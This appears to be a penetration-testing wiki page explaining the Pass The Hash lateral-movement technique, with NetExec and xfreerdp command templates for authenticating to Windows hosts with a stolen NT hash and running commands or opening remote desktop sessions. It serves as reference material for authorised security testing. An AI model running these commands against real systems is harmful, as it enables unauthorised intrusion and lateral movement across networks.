> For the complete documentation index, see [llms.txt](https://wiki.pentestlist.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.pentestlist.com/offensive-security/internal-infrastructure/movement/pass-the-hash.md).

# Pass The Hash

A Pass The Hash attack utilises a known password hash to authenticate to other networked hosts. For example, if two built-in administrator accounts for two different hosts had the same password, their hash would be the same and if one hash was known, this can be used to login to the second host. 

There are various ways you might come across a password hash. For example, you might dump a machines SAM and SECURITY registry hive and find it there. 

No matter how you found it, you may now consider a Pass The Hash attack.

## Performing the attack

### NetExec

NetExec can be used to perform a Pass The Hash attack. All you need is the username and the users NT password hash. If it is a domain user, you will also need to specify the domain.

* <https://github.com/Pennyw0rth/NetExec>

`netexec smb <target> --local-auth -u <user> -H <NThash> -x <command>`&#x20;

`netexec smb <target> -d <domain> -u <user> -H <NThash> -x <command>`

This will provide you with a command line shell on your target.

### **xfreerdp**

By using xfreerdp, it is possible to gain a remote desktop connection into a host using Pass The Hash. &#x20;

* <https://linux.die.net/man/1/xfreerdp>

The following command can be used:

`xfreerdp /u:<user> /d:<domain> /pth:<LMhash:NThash> /v:<TARGET>`

&#x20;